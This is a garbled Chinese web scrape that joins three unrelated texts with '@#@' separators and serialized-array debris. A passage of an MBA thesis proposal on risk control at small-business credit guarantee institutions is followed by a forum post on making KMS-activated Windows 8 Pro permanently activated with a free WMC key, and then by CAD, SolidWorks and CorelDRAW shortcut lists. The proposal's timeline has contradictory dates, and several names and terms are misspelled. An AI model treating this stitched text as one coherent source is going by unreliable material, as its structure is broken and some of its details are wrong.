@#@因此,在这个层面上说,信用担保机构的风险管理研究,其最重要的意义就是在发展中小企业的同时,借鉴国外的先进理念和经验,以便更好地促进国内社会和经济的全面发展。
@#@@#@(三)国内外研究现状@#@1、国外信用担保及其风险理论研究现状@#@
(1)国外担保理论研究现状@#@国外的信用担保实践已经有三十多年的历史,在这期间取得的学术成果也十分显著。
@#@国外信贷融资的研究最早出现于二十世纪七十年代,学者乔治˙阿克尔洛夫(George.A.Akerlof,1970)在《“柠檬”市场:
@#@质量不确定性和市场机制》讲述,市场经济体制的不完善表现在信息的不对称,同时提到解决市场交易中这一不对称问题的途径是信用担保的产生,以下是对国外几种主要担保理论进行的梳理和总结。
@#@@#@贝森科(David.Besank)和塔克尔证明了,第三方担保的出现大大减少了信贷分配的可能性,同时增加了信用担保的可取得性,因此担保者第三方总是会提高借款者的福利;@#@同时,由第三方担保人和风险较低借款者一起提出的最优担保额比较于借款者为消除信贷配给而将自己的实际可担保财产提供的担保额,前者更少。
@#@塔克尔、尤德尔(GregoryF.Udell)和布特(Arnoudw.A.Boot)三人验证了在私人信息和道德风险存在的借贷市场中担保的作用,三人的研究可以解释担保贷款被广泛适用的原因所在,但是这种情况下必然存在与担保相关的债务成本。
@#@@#@尤德尔(GregoryF.udell)和伯格(AllenN.Berger)重点研究了小企业融资中关系贷款起的作用,调查结果是与银行建立长期关系可以使借款者提供较少抵押担保,并承担较低的贷款利率。
@#@塔克尔(A.v.THAKoR)和布特(A.w.A.B00T)发现与银行建立长期良好关系对于借款者是有利的。
@#@此外,他们还发现,在与银行建立关系的初期,债务人需要支付较高利率,同时担保要求也较高,当他们之间的关系进展到一定程度,随着借款项目的如期完成,借款者支付的利率以及需要满足的担保要求也会随之降低,有些甚至不再需要提供担保。
@#@@#@海斯特(DonaldD.Hester)研究了包括贷款额、贷款利率、贷款期限以及贷款担保要求在内的各种条款,他发现银行在配给信用的具体操作时除考虑市场利率外,同时十分重视各种非价格条款,例如借款者与银行之间的关系,基于此他提出关系贷款担保理论。
@#@这一理论研究目前主要集中于企业与银行建立长期关系是否影响担保要求和利率水平。
@#@银行与借款者建立良好公共关系还可有效降低信息不对称所产生的信贷风险,而对企业来讲,取得银行以及非银行金融机构的信任是获得贷款的关键因素。
@#@@#@
(2)国外信用风险管理理论研究现状@#@长久以来,投资界和金融界的很多理论研究学者和实践者做出大量的调研和尝试,致力于找到能够代替方差的新的风险衡量方法,二十世纪九十年代以后,有人提出了一种合理的新型风险管理方法,即Var法,至此后Var法被广泛应用于风险管理各项实践,VaR的内含是风险组合或资产在一个给定持有期间(HoldingHorizon)或是置信区间(ConfidenceLever)时在正常市场条件下得出的最大期望损失。
@#@即VaR=E(W)-W,其中E(W)指的是风险资产的期望价值,W指的是一定置信水平中资产的最低价值。
@#@@#@评价信用担保风险很多时候可以参考商业银行信用风险的评估模型和经验,从理论上看度量风险的方法很多,然而在实践上发展比较成熟的是1997年美国人J.PMorgan提出的评估软件—风险矩阵(RiskMetrics),该矩阵通过指数加权平均的方法计算风险值,其主要难点在于计算观测值时权数通常随时间变化而变化,也可以认为是当距离观察时点越近权数就越大,距离观察时点越远权数就越小。
@#@在计算VAR值时步骤依次为:
@#@确定风险资产的类型、确定影响该风险资产价值的因素、选取风险预测模型以及风险因素在模型里的风险暴露额、风险模型运算的执行以及最后生成风险估计值。
@#@@#@学者安东尼•桑得斯(美)将沿用至今的信用风险衡量方法分类为三种,专家方法、SC评估法、信用评分法。
@#@最常见的方法是SC评估法,这是一种风险评级方法,根据借款人的情况判断其贷款级别,通常分为AAA、AA、A、BBB、BB、B、CCC、CC、C这九个等级;@#@还有信用评分法,事先确定一些决定违约(与如期还款相反的行为)概率的重要因素,接下来将这此因素整体考虑或者是通过加权分析得出一个量化的值。
@#@举例来说,在Altman的Z值模型中,若借款人某公司在Z函数中估计的系数将各项财务指标比率加权计算后所得的Z值比临界值(Altman最初研究这个值为1.81)要小,则该公司将被评为“坏”类,银行方面就会选择拒绝贷款。
@#@@#@2、国内信用担保及其风险管理研究现状@#@
(1)国内担保理论研究现状@#@我国信用担保机构的成立可以说起步较晚,但其发展十分迅速。
@#@目前来看,我国的中小企业信用担保实践仍然处于摸索阶段,对于中小企业信用担保方面的学术研究也处在开始阶段,国内发表的文献大部分是从宏观角度探讨目前我国信用担保体系建设存在的不足,微观角度,研究信用担保的定价、信用担保风险的形成、防范以及控制等关系到我国中小企业信用担保行业可持续发展问题的文献还不多见。
@#@1999年6月14日《指导意见》发布之后,国内关于中小企业信用担保的研究大量涌现,概括起来具有代表性的有以下学者的研究。
@#@@#@徐洪水认为中小企业之所以存在刚性的金融缺口,其关键在于中小企业整体信用的缺失,并且他采用了银企信贷动态博弈模型,以此论证降低银企交易成本(良好的政府信贷支持系统和高效的司法制度)是缩小金融缺口的有效途径。
@#@@#@张利胜等学者从中小企业信用担保的宏观层次着手,研究了中小企业信用担保体系的建立以及信用担保与中介机构的关系;@#@白钦先、吴敬琏等著名学者也对我国中小企业信用担保体系的建立、发展和完善进行了系统全面的研究;@#@兆德奎采用制度经济学方法,以交易成本为立足点出发对中小企业信用担保进行研究。
@#@@#@张汉江等学者运用博弈论方法深入研究信贷配给的相关问题,最终得出结论高利率必然伴随高违约风险,而高风险项目必然会对低风险项目排挤,这也就是一种逆向选择的过程,此外作者还针对借款者的还贷行为建立信息不对称条件下动态博弈模型,集中探讨了精炼的贝叶斯均衡理论。
@#@@#@还有一些学者从不同角度出发分析了目前建立中小企业信用担保体系存在问题、改进对策及其重要性。
@#@@#@黄智锋等学者认为,导致我国中小企业与金融机构关系疏远的原因是我国长久以来实行的资金信贷指标配给和计划经济体制,禁止任何形式的商业信用和民间融资,此外,中小企业的人员素质差、技术落后、破产率高和信用状况恶化这些因素,中小金融机构的经营风险不容乐观,这在很大程度上降低了中小企业的贷款量。
@#@因而,解决我国中小企业融资难的困境仅仅依靠中小金融机构的发展显得力不从心,有效的解决措施还是尽快建立中小企业信用担保体系。
@#@@#@对以上观点进行全面整合,主要涵盖以下几个方面:
@#@
(1)对中小企业信用担保机构运作机制的研究;@#@
(2)对信用担保的形式、功能的描述;@#@(3)信用担保制度的国际比较以及信用担保基本制度的建立;@#@(4)对信用担保框架、体系的论述等等。
@#@@#@
(2)我国信用风险管理理论研究现状@#@担保业亘古不变的主题就是风险,为了将担保运营的风险降低到最小,我国的学者从实际出发,立足于道德风险和逆向选择理论的相关研究成果,进一步总结了风险控制的办法和措施。
@#@@#@学者赵鲁平持有的观点是,规避担保风险的重要环节就是严格审核受保企业的会计报表,准确分辨企业财务信息的真伪。
@#@要有针对地对重点环节进行分析、审核,才能较容易判断出企业可能存在的重大潜在风险点,这就是通过看财务指标判断受保企业的真正的偿债实力和能力。
@#@@#@学者林大城认为,对可能存在的担保风险的预测、评估和预警,应通过建立监控预警系统、风险监测指标体系以及风险的补偿机制。
@#@一是尽快筹建政府补偿机制,二是担保风险准备金的提取。
@#@可以通过政府财政资金的投入增加担保资本金、利润返还、优惠税率等方式,出现担保机构为受保企业出现代偿的情况,其操作符合相关规定,可以从政府筹建的补偿基金中提出一定的代赔付比例。
@#@@#@付俊文依据我国担保业近年来发展的实际情况,立足于道德风险和逆向选择理论的研究现状,提出建立和完善灵活适用的反担保体制,建立风险识别、评估、分析的系统以及通畅的信息网络,这样担保机构才能在众多的风险广泛存在的投资项目中甄选出一些优质的担保项目。
@#@@#@李虹的观点是加强企业内部的风险管理是面对政府参与的信用担保项目的风控重点。
@#@分析手段尽量多采用计算机的量化方法,对资信评价、企业中报、风险测算、项目审查、担保偿还等实行全方位的数据监控检测;@#@实行审、保、偿相分离的制度;@#@依据担保金额度、项目风险度的实际情况,分别采取抵押反担保、保证反担保、保证金,质押反担保以及特殊产权质押、个人无限责任反担保等多种措施,全方面规避担保风险;@#@还可采用差别化担保的措施,根据被担保企业的预期效益、贷款余额、担保规模等多项因素,分别采用非全额或全额担保的形式。
@#@@#@3、文献述评@#@目前来讲,在信用担保方面的研究,国内学者大多还是从理论的角度出发,对于担保机构的风险管理方面也大多是从理论角度进行规范分析,例如联保、担保、再担保、风险准备金等制度的实行,对于量化的信用担保风险管理也在很大程度上借鉴了银行信贷的风控模型。
@#@国外对于银行信贷风控的研究目前来看已经基本成熟,尤其是一些著名的风险模型:
@#@默顿(Mertrom)的结构化模型、美国经济学家阿曼(Altman)在1968年提出的Zeta评分模型、摩根财团提出的信贷组合评估风险模型以及第一波士顿信用监管机构(CreditSuisseFirstBoson)创立的信贷风险模型。
@#@以上信贷风险评估模型对于西方大型金融机构的担保行业有一些参考价值,但是却并不适合绝大多数担保机构,特别是那些中小企业担保机构,这是因为中小担保机构的人员素质较差,资产规模较小,能够收集到的数据有限,没有足够的能力、时间和精力将这些风险管理模型实践。
@#@@#@在中小企业信用担保研究方面,我国学者在提出了很多新颖的有可操作性的观点,对于笔者来讲受益匪浅。
@#@然而,我国学者的研究主要是把中小企业的信用担保看作一个不可分割的整体来加以论述,很多人的研究仍停留于信用担保机构的运行形式、制度层面,而有关中小信用担保的经营风险的探讨却很少。
@#@关于风险论述的文献中,依然是定性的研究占很大部分,定量的研究较少,缺乏定量研究会导致人们知道怎么做,而不了解那样做的原因,因此,我国学者的研究还未完全发挥出其应有的实践指导作用。
@#@本论文综合借鉴了商业银行信用风险管理的经验以及国外先进的风险评估模型,将定量分析与定性分析相结合,对于担保企业风险控制体系影响因素和评价指标进行分析,用层次分析法和专家评分法确定指标和隶属度,目标是建立一个系统科学的担保风控体系,对受保企业的资信进行全面准确的衡量,从而较好地控制风险。
@#@@#@二、研究内容、研究目标以及拟解决的关键问题。
@#@@#@以下内容为宋体,小四,单倍行距,双面打印@#@
(一)研究内容@#@绪论部分主要对论文的研究背景、意义、创新点以及内容框架作总纲性的描述,由此来揭示本文的实际研究价值,并且对于担保风险控制的国内外文献进行总结和梳理。
@#@第一章,主要解释了担保领域信用担保和担保风险的概念,还有担保的原则和流程,以及担保风险的来源和特征。
@#@第二章通过对国内担保企业风险控制现状及存在的问题进行全面的分析,为担保管理控制体系的完善提供方向。
@#@第三章对被担保企业信用担保风险的评估是整篇论文的重点,包括评估指标的选取、权重的分配、模型及方法的选择。
@#@第四章选取了一个企业的案例,用第三章方法来分析担保机构在实际操作中怎样对受保企业的风险进行评价。
@#@第五章从企业自身、政府部门、社会角度三个方面入手,以宏观角度视角分析了控制担保风险的对策,第六章是全文总的概括和总结。
@#@@#@
(二)研究目标@#@本文首先针对目前国内外的热点问题——中小企业“融资难”的问题的提供相关的背景介绍,从而提出信用担保机构存在的必然性和重要性,在其中信用担保的风险不容忽视,于是将文章重点放在担保的风险控制和体制的完善方面。
@#@然后文章的主体部分是现阶段我们担保行业面临的诸多问题,详细介绍了这些问题的来源,其中对于被担保企业信用担保风险评估是控制担保企业风险的关键环节,这部分参考了目前国内外先进的风险评估模型,并且举例说明在具体的操作中,担保机构如何评估担保项目的风险。
@#@担保行业的高风险性是世界性的难题,因此企业从自身角度出发应该做的最主要的一个工作就是将风险控制体系完善,这也是企业内部控制策略的关键。
@#@@#@(三)拟解决的关键问题@#@主要分为信用担保风险评估的指标体系设计和信用担保风险评价的实证分析两个方面。
@#@关键在于各级指标权重的确定、评估方法的选定及模型的构建等方面。
@#@@#@ @#@@#@三、研究重点、难点、主要观点和创新之处。
@#@@#@以下内容为宋体,小四,单倍行距,双面打印@#@
(一)研究重点、难点@#@本文的研究难点在于担保风险控制体系影响因素和评价指标分析,要从信用担保风险评估的指标体系设计、权重确定方法的选取以及评估方法的选定及模型的构建这三个方面展开;@#@@#@本文的研究重点在于信用担保风险评价的实证分析,要从企业的基本情况、各级指标权重的确定、指标隶属度确定、该企业信用担保风险的综合评价结果这四个方面展开。
@#@@#@
(二)主要观点@#@目前我国中小企业融资难的问题亟待解决,再加上我国中小企业的诚信意识淡薄,更是导致中小企业资金短缺的问题雪上加霜。
@#@我国担保机构的发展历史较短,自从建立初期到现在,已经暴露出来很多弊端和缺陷。
@#@例如:
@#@担保相关法律滞后;@#@缺乏风险分散机构和风险评价机制;@#@资金实力薄弱;@#@担保品种单一;@#@缺乏专业的人才等。
@#@@#@多方面的原因导致了担保机构营运风险的增加,然而,担保机构存在的最大风险是由于资信评估不当而造成的违约风险。
@#@因此,如何科学评估授信企业的信用风险,即信用评价,成为了信用担保机构对受保企业进行风险管理的重要环节。
@#@本文分析目前的信用评价指标体系,在评价指标的选择上既考虑了企业的财务状况,又兼顾的反映企业长期发展的重要指标,关注企业的成长力、创新性,指标的选取恰当、科学。
@#@本论文探讨如何通过建立受保企业的信用评估模型来帮助担保机构有效地进行风险管理,从而实现完善我国担保机构信用体系的目的。
@#@@#@(三)创新之处@#@本文的创新点在于,首先对于担保风险的国内外研究综述中,将目前与担保以及担保风险相关的理论与实践研究进行了较为详尽的总结和梳理,并且分别做了简要评价,通过以上工作,可以看到目前我国相关研究的不足之处,找到努力方向;@#@其次,在借鉴国内外先进的模型基础上,详细介绍了被担保企业信用担保风险评估体系的构建。
@#@@#@ @#@@#@四、基本思路与研究方法@#@以下内容为宋体,小四,单倍行距,双面打印@#@
(一)基本思路@#@本文首先针对目前国内外的热点问题——中小企业“融资难”的问题的提供相关的背景介绍,从而提出信用担保机构存在的必然性和重要性,在其中信用担保的风险不容忽视,于是将文章重点放在担保的风险控制和体制的完善方面。
@#@然后文章的主体部分是现阶段我们担保行业面临的诸多问题,详细介绍了这些问题的来源,其中对于被担保企业信用担保风险评估是控制担保企业风险的关键环节,这部分参考了目前国内外先进的风险评估模型,并且举例说明在具体的操作中,担保机构如何评估担保项目的风险。
@#@@#@
(二)研究方法@#@本文综合运用管理学、经济学、金融学等社会科学和自然科学的理论与方法分析中小企业信用担保公司的风险控制体系。
@#@@#@1.文献研究法@#@本文系统梳理了国内外风险管理和信用担保方面的研究成果,重点分析了国内外关于信用担保、风险控制的相关概念,我国在体系建设方面的不足,提出了建立科学、高效的风险控制体系的研究方向。
@#@@#@2.规范分析的方法@#@本文用规范方法从理论上分析了担保行业目前存在的各种问题,然后提出担保机构风险控制需要完善的方向和目标。
@#@@#@3.实证研究法@#@本文介绍了被担保企业信用担保风险评估体系中的模型、方法,并且通过实证分析研究担保机构怎样对被担保企业风险进行评估,从这个模型我们还能直观地看到风险控制的过程受到哪些因素的制约,如何对一个企业进行资信评级。
@#@@#@ @#@@#@五、写作基本提纲(一般要求至少到三级提纲)。
@#@@#@以下内容为宋体,小四,单倍行距,双面打印@#@绪论@#@一、选题背景及意义@#@二、文献综述@#@三、研究内容、思路、方法@#@四、论文的创新点与不足@#@第一章信用担保与信用担保风险@#@第一节信用担保@#@一、信用及信用担保的界定@#@二、担保方式@#@三、担保原则及业务流程@#@第二节担保企业业务风险的内涵分析@#@一、担保企业风险的界定@#@二、担保机构风险的分类@#@三、信用担保风险的性质和特征@#@第三节中小企业信用担保风险管理的必要性@#@第二章我国担保机构风险控制现状及问题分析@#@第一节我国担保行业的发展历程@#@一、探索起步期(1992-1998年)@#@二、试点规范期(1998-2000年)@#@三、推进完善期(2000-2004年)@#@四、逐渐成熟期(2004年至今)@#@第二节我国担保行业目前存在的问题@#@一、担保相关法律滞后@#@二、专业的担保人才匮乏@#@三、担保机构的资本实力差@#@四、违法经营,主业辅业倒置@#@五、银行与担保公司之间风险共担的机制不健全@#@第三节产生信用担保风险的原因分析@#@一、社会信用环境差,相关的法制不健全@#@二、政府对银行经营活动的直接或者间接的干预@#@三、银行与担保机构权利义务的严重失衡@#@第三章担保风险控制体系影响因素和评价指标分析@#@第一节我国担保机构风险控制体系影响因素@#@一、被担保企业因素@#@二、信用担保机构自身因素@#@三、政府部门因素@#@四、贷款银行因素@#@五、担保法律制度因素@#@六、银保关系不稳定因素@#@七、社会服务体系缺失因素@#@第二节被担保企业信用担保风险评估@#@一、信用担保风险评估的指标体系设计@#@二、权重确定方法的选取@#@三、评估方法的选定及模型的构建@#@第四章信用担保风险评价的实证分析@#@第一节企业的基本情况@#@第二节各级指标权重的确定@#@第三节指标隶属度确定@#@第四节该企业信用担保风险的综合评价结果@#@第五节实证分析的结论@#@第五章信用担保机构的风险控制对策@#@第一节加强企业自身规范化经营@#@一、努力创新产品与服务@#@二、拓展资本金来源和融资渠道@#@三、建立完善的担保风险控制机制@#@第二节着力创造良好的外部环境@#@一、政府应加强法制的建设@#@二、建立统一的社会信用制度@#@三、加强信用评级的建设@#@四、加强信息的公开披露制度@#@第三节完善社会信用担保体系@#@一、加强金融机构的协作意识@#@二、建立一定的担保保险基金@#@三、充分发挥信用担保协会在行业中的作用@#@结论@#@ @#@@#@六、已具备的专业知识、研究基础及可行性分析。
@#@@#@以下内容为宋体,小四,单倍行距,双面打印@#@
(一)本人从事小额信贷及信用担保工作将近10年时间,并在贵州财经大学就读MBA二年,系统地学习过风险管理等相关理论知识,对论文所涉及的内容与本人从事的工作十分熟悉。
@#@@#@
(二)本人长期在信用担保行业从事管理工作,对信用担保行业有一定的研究,掌握了一定的理论知识与实践经验,并从网络和图书馆查阅了大量相关学术研究成果。
@#@@#@(三)本人已准备了部分论文所需的资料,并依照导师的指导做好了编写论文的时间安排,可以保证论文按质按期的完成,本研究所需的其它条件已准备就绪。
@#@@#@ @#@@#@七、论文研究时间、计划@#@以下内容为宋体,小四,单倍行距,双面打印@#@ @#@@#@2013年12月-2014年X月,了解、收集与研究方向相关资料。
@#@@#@2014年X月,完成课题选择并撰写开题报告、提交开题报告。
@#@@#@2014年X月,调查研究及数据分析,专家访谈。
@#@@#@2014年X月-2013年X月,撰写并完成论文初稿。
@#@@#@2014年X月-2013年X月,论文定稿。
@#@@#@ @#@@#@八、参考文献目录@#@所列参考文献必须是2005年以后的,要至少,内容为宋体,小四,单倍行距,双面打印@#@[1]张利胜.信用";i:
12;s:
1883:
"Kms激活Pro变为永久激活@#@只适用于专业版!
@#@ProVL不可以@#@使用在微软免费领取的WMCkey将Kms激活的Windows8专业版变成永久激活教程!
@#@@#@由于免费领取的WMCKey有最晚使用限制,所以此方法2013年1月31日后将不再适用!
@#@!
@#@!
@#@@#@1、先下载好Windows8专业版安装镜像,并安装。
@#@(下载地址:
@#@@#@专业版安装key:
@#@NG4HW-VH26C-733KW-K6F98-J8CK4)@#@2、到@#@本帖隐藏的内容@#@领取免费的wmckey(领取时只需提供邮箱就行,可能发送会有延迟,可以多用几个申请,耐心等待。
@#@)@#@本帖隐藏的内容@#@昨天 @#@13:
@#@31上传@#@下载附件(172.39KB)@#@3、用kms的方法先激活已经装好的Windows8专业版(需用管理员启动命令提示符启动方法:
@#@Win+X再按A)@#@昨天 @#@13:
@#@32上传@#@下载附件(106.39KB)@#@4、用领取到的WMCkey为已激活的Windows8专业版添加WMC功能@#@本帖隐藏的内容@#@昨天 @#@13:
@#@32上传@#@下载附件(150.29KB)@#@昨天 @#@13:
@#@33上传@#@下载附件(102.1KB)@#@昨天 @#@13:
@#@33上传@#@下载附件(117.58KB)@#@昨天 @#@13:
@#@34上传@#@下载附件(100.18KB)@#@昨天 @#@13:
@#@34上传@#@下载附件(75.05KB)@#@昨天 @#@13:
@#@35上传@#@下载附件(44.9KB)@#@5、此时你的Windows8专业版已经升级为Windows8专业版(含WMC)了,并且已经从180天的激活变成永久激活了!
@#@!
@#@!
@#@@#@昨天 @#@13:
@#@36上传@#@下载附件(199.96KB)@#@昨天 @#@13:
@#@37上传@#@下载附件(107.63KB)@#@昨天 @#@13:
@#@37上传@#@下载附件(174.96KB)@#@Ps:
@#@此激活方法只限于Windows8专业版,其他版本无法用此方法激活!
@#@(专业版VL也不能用)@#@";i:
13;s:
16131:
"cad快捷键@#@cad快捷键@#@L=直线;@#@@#@PL=多段线;@#@@#@U回车=Ctrl+z=后退;@#@@#@D=修改,调整;@#@@#@REC=矩形;@#@@#@C=圆;@#@@#@TR=修剪;@#@@#@O=偏移;@#@@#@XL=放射线;@#@@#@X=分解;@#@@#@CO=复制;@#@@#@M=移动;@#@@#@MI=镜像;@#@@#@EL=椭圆;@#@@#@BR=打断;@#@@#@POL=多边形;@#@@#@LEN=拉长;@#@@#@S=拉伸;@#@@#@ME=等分;@#@@#@E=删除;@#@@#@E回车ALL回车=全部删除;@#@@#@AR=阵列;@#@@#@RO=旋转;@#@@#@SC=比例缩放;@#@@#@END=端点;@#@@#@MID=中点;@#@@#@PER=垂足;@#@@#@INT=交足;@#@@#@CEN=圆心;@#@@#@QUA=象限点;@#@@#@TAN=切点;@#@@#@SPL=曲线;@#@@#@DIV=块等分;@#@@#@PE=编辑多边线;@#@@#@NOD=节点;@#@@#@F=圆角;@#@@#@CHA=倒角;@#@@#@ST=文字样式;@#@@#@DT=单行文字;@#@@#@T=多行文字;@#@@#@ED=编辑文字;@#@@#@A=弧;@#@@#@H=填充;@#@@#@HE=编辑填充;@#@@#@B=创建临时图块;@#@@#@W=创建永久图块;@#@@#@I=插入图块;@#@@#@LA=图层;@#@@#@MA=格式刷;@#@@#@()PAR=平行线;@#@@#@FRO=正交偏移捕捉;@#@@#@PO=创建点;@#@@#@SKETCH=徒手画线;@#@@#@DO=圆环;@#@@#@RAY=射线;@#@@#@AL=对齐;@#@@#@REG=面域;@#@@#@AA=求面积周长;@#@@#@SU=减集;@#@@#@UNI=加集;@#@@#@IN=交集;@#@@#@BO=提取轮廓;@#@@#@REV=二维旋转成三维;@#@@#@EXT=拉伸;@#@@#@UCS=三维坐标;@#@@#@ROTATE3D=三维旋转;@#@@#@MIRROR3D=三维镜像;@#@@#@3A=三维阵列;@#@@#@SURFTAB=曲面网格;@#@@#@TXTEXP=分解文字;@#@@#@CTRL+P=打印;@#@@#@
(一)字母类1、对象特性ADC,*ADCENTER(设计中心“Ctrl+2”)@#@CH,MO*PROPERTIES(修改特性“Ctrl+1”)@#@MA,*MATCHPROP(属性匹配)@#@ST,*STYLE(文字样式)@#@COL,*COLOR(设置颜色)@#@LA,*LAYER(图层操作)@#@LT,*LINETYPE(线形)@#@LTS,*LTSCALE(线形比例)@#@LW,*LWEIGHT(线宽)@#@UN,*UNITS(图形单位)@#@ATT,*ATTDEF(属性定义)@#@ATE,*ATTEDIT(编辑属性)@#@BO,*BOUNDARY(边界创建,包括创建闭合多段线和面域)@#@AL,*ALIGN(对齐)@#@EXIT,*QUIT(退出)@#@EXP,*EXPORT(输出其它格式文件)@#@IMP,*IMPORT(输入文件)@#@OP,PR*OPTIONS(自定义CAD设置)@#@PRINT,*PLOT(打印)@#@PU,*PURGE(清除垃圾)@#@R,*REDRAW(重新生成)@#@REN,*RENAME(重命名)@#@SN,*SNAP(捕捉栅格)@#@DS,*DSETTINGS(设置极轴追踪)@#@OS,*OSNAP(设置捕捉模式)@#@PRE,*PREVIEW(打印预览)@#@TO,*TOOLBAR(工具栏)@#@V,*VIEW(命名视图)@#@AA,*AREA(面积)@#@DI,*DIST(距离)@#@LI,*LIST(显示图形数据信息)@#@2、绘图命令:
@#@PO,*POINT(点)@#@L,*LINE(直线)@#@XL,*XLINE(射线)@#@PL,*PLINE(多段线)@#@ML,*MLINE(多线)@#@SPL,*SPLINE(样条曲线)@#@POL,*POLYGON(正多边形)@#@REC,*RECTANGLE(矩形)@#@C,*CIRCLE(圆)@#@A,*ARC(圆弧)@#@DO,*DONUT(圆环)@#@EL,*ELLIPSE(椭圆)@#@REG,*REGION(面域)@#@MT,*MTEXT(多行文本)@#@T,*MTEXT(多行文本)@#@B,*BLOCK(块定义)@#@I,*INSERT(插入块)@#@W,*WBLOCK(定义块文件)@#@DIV,*DIVIDE(等分)@#@H,*BHATCH(填充)@#@3、修改命令:
@#@@#@CO,(复制)@#@MI,*MIRROR(镜像)@#@AR,*ARRAY(阵列)@#@O,*OFFSET(偏移)@#@RO,*ROTATE(旋转)@#@M,*MOVE(移动)@#@E,DEL键*ERASE(删除)@#@X,*EXPLODE(分解)@#@TR,*TRIM(修剪)@#@EX,*EXTEND(延伸)@#@S,*STRETCH(拉伸)@#@LEN,*LENGTHEN(直线拉长)@#@SC,*SCALE(比例缩放)@#@BR,*BREAK(打断)@#@CHA,(倒角)@#@F,*FILLET(倒圆角)@#@PE,*PEDIT(多段线编辑)@#@ED,(修改文本)@#@追问@#@solidworks的快捷键有没有。
@#@。
@#@谢谢@#@回答@#@SolidWorks快捷键@#@旋转模型新建SolidWorks文件Ctrl+N旋转模型@#@水平或竖直方向键打开文件Ctrl+O水平或竖直方向键@#@水平或竖直90度Shift+方向键从WEB文件夹打开Ctrl+W水平或竖直90度Shift+方向键@#@顺时针或逆时针Alt+左或右方向键保存Ctrl+S顺时针或逆时针Alt+左或右方向键@#@平移模型Ctrl+方向键打印Ctrl+P平移模型Ctrl+方向键@#@放大Z额外快捷键放大Z@#@缩小z在PropertyManager或对话框中访问在线帮助F1缩小z@#@整屏显示全图f整屏显示全图f@#@上一视图Ctrl+Shift+Z在FeatureManager设计树中重新命名一项目(对大部分项目适用)F2上一视图Ctrl+Shift+Z@#@视图定向视图定向@#@视图定向菜单空格键视图定向菜单空格键@#@前视Ctrl+1重建模型Ctrl+B前视Ctrl+1@#@后视Ctrl+2强使重建模型及重建其所有特征Ctrl+Q后视Ctrl+2@#@左视Ctrl+3左视Ctrl+3@#@右视Ctrl+4重绘屏幕Ctrl+R右视Ctrl+4@#@上视Ctrl+5在打开的SolidWorks文件之间循环Ctrl+Tab上视Ctrl+5@#@下视Ctrl+6下视Ctrl+6@#@等轴测Ctrl+7直线到圆弧/圆弧到直线(草图绘制模式)a等轴测Ctrl+7@#@选择过滤器?
@#@选择过滤器?
@#@@#@过滤边线e撤消Ctrl+z过滤边线e@#@过滤顶点v剪切Ctrl+x过滤顶点v@#@过滤面x复制Ctrl+c过滤面.@#@切换选择过滤器工具栏F5粘贴Ctrl+v切换选择过滤器工具栏F5@#@切换选择过滤器(开/关)F6删除Delete切换选择过滤器(开/关)F6@#@下一窗口Ctrl+F6@#@运行VisualBasic应用程序的编辑器【Alt】+【F11】@#@启动「这是什么?
@#@」帮助【Shift】+【F1】@#@@#@回复到上一个动作【Ctrl】+【Z】@#@回复到上一个动作【Alt】+【BackSpace】@#@复制选取的物件并置于「剪贴簿」中【Ctrl】+【C】@#@复制选取的物件并置于「剪贴簿」中【Ctrl】+【INS】@#@将指定的属性从另一个物件复制至选取的物件【Ctrl】+【Shift】+【A】@#@剪下选取的物件并置于「剪贴簿」中【Ctrl】+【X】@#@剪下选取的物件并置于「剪贴簿」中【Shift】+【DEL】@#@删除选取的物件【DEL】@#@将「剪贴簿」的内容贴到图文件内【Ctrl】+【V】@#@将「剪贴簿」的内容贴到图文件内【Shift】+【INS】@#@@#@再制选取的物件并以指定的距离偏移【Ctrl】+【D】@#@重复上一个动作【Ctrl】+【R】@#@回复到上一个复原的动作【Ctrl】+【Shift】+【Z】@#@@#@打开「大小泊坞窗口」【Alt】+【F10】@#@打开「缩放与镜像泊坞窗口」【Alt】+【F9】@#@打开「位置泊坞窗口」【Alt】+【F7】@#@打开「旋转泊坞窗口」【Alt】+【F8】@#@@#@包含指定线性度量线属性的功能【Alt】+【F2】@#@启动「属性列」并跳到第一个可加上标签的项目【Ctrl】+【ENTER】@#@打开「符号泊坞窗口」【Ctrl】+【F11】@#@@#@垂直对齐选取物件的中心【C】@#@水平对齐选取物件的中心【E】@#@将选取物件向上对齐【T】@#@将选取物件向下对齐【B】@#@将选取物件向右对齐【R】@#@将选取物件向左对齐【L】@#@对齐选取物件的中心至页【P】@#@@#@将物件贴齐格点(切换式)【Ctrl】+【Y】@#@绘制对称式多边形;@#@按两下即可打开「选项」对话框的「工具箱」标签【Y】@#@绘制一组矩形;@#@按两下即可打开「选项」对话框的「工具箱」标签【D】@#@为物件新增填色;@#@在物件上按一下并拖动即可应用渐变填色【G】@#@将物件转换成网状填色物件【M】@#@绘制矩形;@#@按两下这个工具便可建立页面框架【F6】@#@绘制螺旋纹;@#@按两下即可打开「选项」对话框的「工具箱」标签【A】@#@绘制椭圆形及圆形;@#@按两下这个工具即可打开「选项」对话框的「工具箱」标签【F7】@#@新增文字;@#@按一下页面即可加入美工文字;@#@按一下并拖动即可加入段落文字【F8】@#@擦拭一个图形的部份区域,或将一个物件分为两个封闭的路径【X】@#@在目前工具及「挑选」工具间切换【空格】@#@绘制曲线,并对笔触应用预设效果、笔刷、喷洒、书写式或压力感应效果【I】@#@选取最近使用的「曲线」工具【F5】@#@编辑物件的节点;@#@按两下工具在所选取物件上选取全部节点【F10】@#@将选取的物件放置到最后面【Shift】+【PageDown】@#@将选取的物件放置到最前面【Shift】+【PageUp】@#@将选取的物件在物件的堆叠顺序中向后移动一个位置【Ctrl】+【PageDown】@#@将选取的物件在物件的堆叠顺序中向前移动一个位置【Ctrl】+【PageUp】@#@选取整个图文件【Ctrl】+【A】@#@打散选取的物件【Ctrl】+【K】@#@解散选取物件或物件群组所组成的群组【Ctrl】+【U】@#@将选取的物件组成群组【Ctrl】+【G】@#@将选取的物件转换成曲线;@#@「转换成曲线」可提供更多更有弹性的编辑功能【Ctrl】+【Q】@#@将外框转换成物件【Ctrl】+【Shift】+【Q】@#@组合选取的物件【Ctrl】+【L】@#@@#@打开「拼字检查器」;@#@检查选取文字的拼字是否正确【Ctrl】+【F12】@#@依据目前选取区域或工具显示物件或工具属性【Alt】+【ENTER】@#@将标准填色应用至物件【Shift】+【F11】@#@将渐层填色应用至物件【F11】@#@打开「外框笔」对话框【F12】@#@打开「外框色」对话框【Shift】+【F12】@#@@#@以大幅微调的设定值将物件向上微调【Shift】+【↑】@#@将物件向上微调【↑】@#@以大幅微调的设定值将物件向下大幅微调【Shift】+【↓】@#@将物件向下微调【↓】@#@以大幅微调的设定值将物件向右微调【Shift】+【←】@#@将物件向右微调【←】@#@以大幅微调的设定值将物件向左微调【Shift】+【→】@#@将物件向左微调【→】@